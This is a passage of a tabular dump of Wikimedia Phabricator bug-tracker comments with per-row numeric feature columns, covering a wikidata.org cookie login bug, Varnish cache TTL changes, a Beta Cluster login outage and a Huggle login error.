out. But would like to confirm",,,1439558032,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,10.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,11.0,11.0,0.0,1.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.6285714285714286,0.7142857142857143,"SCREEN_NAME, if you're able to reproduce, can you capture the headers and send
them to me? Or post here if you're comfortable.

I'm guessing you ended up with two token/session cookies, and either guy
the wrong one or the browser sends both and we're parsing the wrong one
out. But would like to confirm"
508258,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"A site notice would probably be really useful for WD users telling them what to do (yes, old technology)",,,1439556939,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,3.909090909090909,1.0,"A site notice would probably be really useful for WD users telling them what to do (yes, old technology)"
508245,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).

From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit https://wikidata.org/ to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to www.wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though.",,,1439556126,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,1.0,1.0,0.0,1.0,0.5,5.0,1.5,0.0,0.5,0.0,2.5,0.5,0.0,0.5,0.5,5.0,0.0,5.0,16.0,1.0,3.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,2.0,1.0,0.0,1.5,0.5,1.5,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,13.5,1.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.5,0.0,0.5,0.0,6.0,2.5,7.0,0.5,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,7.0,16.0,4.5,0.0,2.0,0.0,7.0,1.0,1.0,1.5,0.5,1.5,1.0,0.5,1.0,4.109999999999999,0.725,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).

From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit URL to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to www.wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though."
508244,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).

From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit https://wikidata.org/ to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though.",,,1439556072,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,1.0,1.0,0.0,1.0,0.5,5.0,1.5,0.0,0.5,0.0,2.5,0.5,0.0,0.5,0.5,5.0,0.0,5.0,16.0,1.0,3.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,2.0,1.0,0.0,1.5,0.5,1.5,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,13.5,1.5,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.5,0.0,0.5,0.0,6.0,2.5,7.0,0.5,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,6.5,16.0,4.5,0.0,2.0,0.0,6.5,0.5,1.0,1.5,0.5,1.5,1.0,0.5,1.5,4.09,0.72,"As best I can tell from my own testing (but I think someone with deeper insight into the CORS change for (www|query).wikidata.org and S:UL and such would need to confirm this sounds sane): I was able to reproduce the issue, and I was able to apparently perma-fix it for myself by deleting the centralauth_Token cookie in my browser cookie set that was stored under ""wikidata.org"" (as opposed to www.wikidata.org).

From the server end, we can't tell what domain a cookie was set for, only that it matched for the browser's request.  So we could, for example, put a hack in varnish to delete the centralauth_Token cookie on requests with the exact Host header ""wikidata.org"" just to kill the one problematic cookie, but users would actually have to visit URL to trigger the fix.  We could maybe do that part by embedding a request to it in all accesses to wikidata.org temporarily or something like that.  There might be some better application-level way of dealing with this, though."
508221,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Does someone have the specific details here on what cookie name to wipe on requests to what domainname(s)?,,,1439553274,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,4.45,0.85,Does someone have the specific details here on what cookie name to wipe on requests to what domainname(s)?
508165,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"The way to go here is probably to unset the old cookies via varnish, if they exist. @bblack can help with that.",,,1439546558,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.76,0.92,"The way to go here is probably to unset the old cookies via varnish, if they exist.SCREEN_NAME can help with that."
508132,[Bug] Users are unable to login on wikidata.org until they clear their cookies,Could the cause of this issue and {T50389} be the same?,,,1439543480,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,14.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2142857142857144,0.9285714285714286,Could the cause of this issue and {T50389} be the same?
508082,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Had the same issue. Clearing cookies lets me log into Wikidata, but ""locally"". Logging into another Wikimedia site activates the ""global"" login for those. Both work now (no ""you are centrally logged in"" message on Wikidata again).",,,1439539743,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,10.0,6.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.88,0.78,"Had the same issue. Clearing cookies lets me log into Wikidata, but ""locally"". Logging into another Wikimedia site activates the ""global"" login for those. Both work now (no ""you are centrally logged in"" message on Wikidata again)."
108612,Fix Varnish TTLs across the board,"https://phabricator.wikimedia.org/T102991 highlighted that we had cached objects lasting longer than 30 days, which was both problematic and unexpected.  That specific issue has been fixed: https://gerrit.wikimedia.org/r/#/c/229714/ , but in researching this I realized there are actually a lot of problems with how we're handling cache TTLs, especially with how they're handled across layers and tiers of caching.  The key issues here are:

1) We're limiting frontends to 120s object lifetimes in the common case - reduces front hitrate, and also explains hitrate anomalies on cache size increase during earlier experimentation here: https://phabricator.wikimedia.org/P969
2) We're not really communicating TTLs properly from Tier1 backends to Tier2 backends, or from either tier's backend to frontends in general, which is a strong blocker for simply lifting the 120s limitation on the front caches naively....",Unbreak Now!,100.0,1439231897,1442930535.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_description,resolved,True,c3,3,True,True,True,5,True,0.0,0.0,0.0,0.5,0.5,6.0,0.5,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.5,2.5,1.0,7.5,11.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.5,5.5,0.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.5,2.5,7.0,1.5,3.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,11.5,2.5,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,4.0,1.0,0.0,1.0,4.465964912280702,0.8145614035087719,"URL highlighted that we had cached objects lasting longer than 30 days, which was both problematic and unexpected.  That specific issue has been fixed: URL , but in researching this I realized there are actually a lot of problems with how we're handling cache TTLs, especially with how they're handled across layers and tiers of caching.  The key issues here are:

1) We're limiting frontends to 120s object lifetimes in the common case - reduces front hitrate, and also explains hitrate anomalies on cache size increase during earlier experimentation here: URL
2) We're not really communicating TTLs properly from Tier1 backends to Tier2 backends, or from either tier's backend to frontends in general, which is a strong blocker for simply lifting the 120s limitation on the front caches naively...."
506063,Fix Varnish TTLs across the board,"Change 230809 merged by BBlack:
cache_mobile: def_ttl 30d

[[https://gerrit.wikimedia.org/r/230809]]",,,1439313711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8235294117647058,"Change 230809 merged by BBlack:
cache_mobile: def_ttl 30d

[[GERRIT_URL]]"
506060,Fix Varnish TTLs across the board,"Change 230808 merged by BBlack:
cache_(text|upload): frontend default_ttl => 30d

[[https://gerrit.wikimedia.org/r/230808]]",,,1439313203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.4,0.9,"Change 230808 merged by BBlack:
cache_(text|upload): frontend default_ttl => 30d

[[GERRIT_URL]]"
506039,Fix Varnish TTLs across the board,"Change 230809 had a related patch set uploaded (by BBlack):
cache_mobile: def_ttl 30d

[[https://gerrit.wikimedia.org/r/230809]]
",,,1439311347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 230809 had a related patch set uploaded (by BBlack):
cache_mobile: def_ttl 30d

[[GERRIT_URL]]
"
506038,Fix Varnish TTLs across the board,"Change 230808 had a related patch set uploaded (by BBlack):
cache_(text|upload): frontend default_ttl => 30d

[[https://gerrit.wikimedia.org/r/230808]]
",,,1439311346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.148148148148148,0.8518518518518519,"Change 230808 had a related patch set uploaded (by BBlack):
cache_(text|upload): frontend default_ttl => 30d

[[GERRIT_URL]]
"
506035,Fix Varnish TTLs across the board,"Ok I've dug into this some (read varnish source code to confirm behavior there, re-read our VCL, stared at lots of parsed varnish logs, etc) and it's not as bad as I initially thought.  Most of it's working pretty sanely, actually, and TTLs are usually correctly transitive across the layers.

The only strange case is responses with no cacheability info that use the default_ttl, which should probably be synchronized across the layers of a cluster (as in, bump upload/text frontends to 30d default).  Very few text-cluster requests are using the default anyways, most are using app-supplied TTLs.

Additionally, mobile should be using the same 30d default_ttl that text/upload uses (right now it's using 120s for both layers).",,,1439311191,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jjhnhpf3u37ynhfqqqd,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.0,0.5,0.5,0.5,5.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,1.5,0.0,8.5,9.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,0.5,1.5,0.5,0.0,0.0,0.5,0.5,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,16.5,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,3.5,5.5,0.5,1.0,7.0,0.0,0.0,0.0,0.0,3.5,0.5,0.5,0.0,3.0,9.0,2.5,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.0,3.0,0.0,1.0,0.5,3.961788211788212,0.7478354978354979,"Ok I've dug into this some (read varnish source code to confirm behavior there, re-read our VCL, stared at lots of parsed varnish logs, etc) and it's not as bad as I initially thought.  Most of it's working pretty sanely, actually, and TTLs are usually correctly transitive across the layers.

The only strange case is responses with no cacheability info that use the default_ttl, which should probably be synchronized across the layers of a cluster (as in, bump upload/text frontends to 30d default).  Very few text-cluster requests are using the default anyways, most are using app-supplied TTLs.

Additionally, mobile should be using the same 30d default_ttl that text/upload uses (right now it's using 120s for both layers)."
107288,Could not login into Beta Cluster,"Beta Cluster works, but when I'm trying to login, I get the ""Wikimedia Foundation Error"" Screen, since more than two hours.",Unbreak Now!,100.0,1438181611,1438195888.0,PHID-USER-qlodcndtwpolbdhncjis,False,PHID-USER-qlodcndtwpolbdhncjis,False,PHID-TASK-aityeetplvliijwsbok6,task_description,resolved,True,c3,3,True,True,True,3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,11.0,21.0,0.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,3.6785714285714284,0.8571428571428571,"Beta Cluster works, but when I'm trying to login, I get the ""Wikimedia Foundation Error"" Screen, since more than two hours."
499084,Could not login into Beta Cluster,"Change 227770 merged by Ori.livneh:
Add redis nutcracker group for beta

[[https://gerrit.wikimedia.org/r/227770]]",,,1438198894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.105263157894737,0.8947368421052632,"Change 227770 merged by Ori.livneh:
Add redis nutcracker group for beta

[[GERRIT_URL]]"
499078,Could not login into Beta Cluster,"Change 227770 had a related patch set uploaded (by Thcipriani):
Add redis nutcracker group for beta

[[https://gerrit.wikimedia.org/r/227770]]
",,,1438197993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.923076923076923,0.8846153846153846,"Change 227770 had a related patch set uploaded (by Thcipriani):
Add redis nutcracker group for beta

[[GERRIT_URL]]
"
499055,Could not login into Beta Cluster,"Login works now, thanks.",,,1438195888,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-aityeetplvliijwsbok6,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Login works now, thanks."
106309,Cannot login to Huggle 3.1.14,"I downloaded [[ https://github.com/huggle/huggle3-qt-lx/releases/download/3.1.14/huggle_3.1.14.dmg | Huggle 3.1.14 for Mac OS X from GitHub ]] today and received the following error while attempting to login. Repeated attempts produced the same error.

System log
==================
Sun Jul 19 17:47:01 2015: Loaded in 219ms
Sun Jul 19 17:47:01 2015: Extensions: 4
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_thanks.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_sh.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_md.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_en.dylib
Sun Jul 19 17:47:01 2015: Loading plugins in /Applications/huggle.app/Contents/MacOS/../PlugIns and /Users/mj94/Library/Application Support/Wikimedia/Huggle/extensions/
Sun Jul 19 17:47:01 2015: Home: /Users/mj94/Library/Application Support/Wikimedia/Huggle
Sun Jul 19 17:47:01 2015: Loading configuration
Sun Jul 19 17:47:01 2015: Huggle 3 QT-LX, version 3.1.13 build: 2597 3.1.14




Exception details
===========================
Error code: 2
Reason: There is no data to be processed
Source: void Huggle::ApiQueryResult::Process()@/Users/petanb/Documents/huggle3-qt-lx/huggle/apiqueryresult.cpp:89
Stack trace:
Stack trace not available for this OS

",Unbreak Now!,100.0,1437346520,1437550964.0,PHID-USER-sl2kxui7ez6tuziv25t4,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_description,resolved,True,c3,3,False,False,True,2,True,0.0,0.0,0.0,0.25,0.25,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.25,0.25,1.25,2.0,0.0,0.5,0.0,0.25,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.0,0.0,0.0,21.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.5,18.25,0.25,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,9.25,0.0,0.5,2.0,16.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,4.005632716049383,0.4357638888888889,"I downloaded [[ URL | Huggle 3.1.14 for Mac OS X from GitHub ]] today and received the following error while attempting to login. Repeated attempts produced the same error.

System log
==================
Sun Jul 19 17:47:01 2015: Loaded in 219ms
Sun Jul 19 17:47:01 2015: Extensions: 4
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_thanks.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_sh.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_md.dylib
Sun Jul 19 17:47:01 2015: Successfully loaded: /Applications/huggle.app/Contents/MacOS/../PlugIns/libhuggle_en.dylib
Sun Jul 19 17:47:01 2015: Loading plugins in /Applications/huggle.app/Contents/MacOS/../PlugIns and /Users/mj94/Library/Application Support/Wikimedia/Huggle/extensions/
Sun Jul 19 17:47:01 2015: Home: /Users/mj94/Library/Application Support/Wikimedia/Huggle
Sun Jul 19 17:47:01 2015: Loading configuration
Sun Jul 19 17:47:01 2015: Huggle 3 QT-LX, version 3.1.13 build: 2597 3.1.14




Exception details
===========================
Error code: 2
Reason: There is no data to be processed
Source: void Huggle::ApiQueryResult::Process()@/Users/petanb/Documents/huggle3-qt-lx/huggle/apiqueryresult.cpp:89
Stack trace:
Stack trace not available for this OS

"
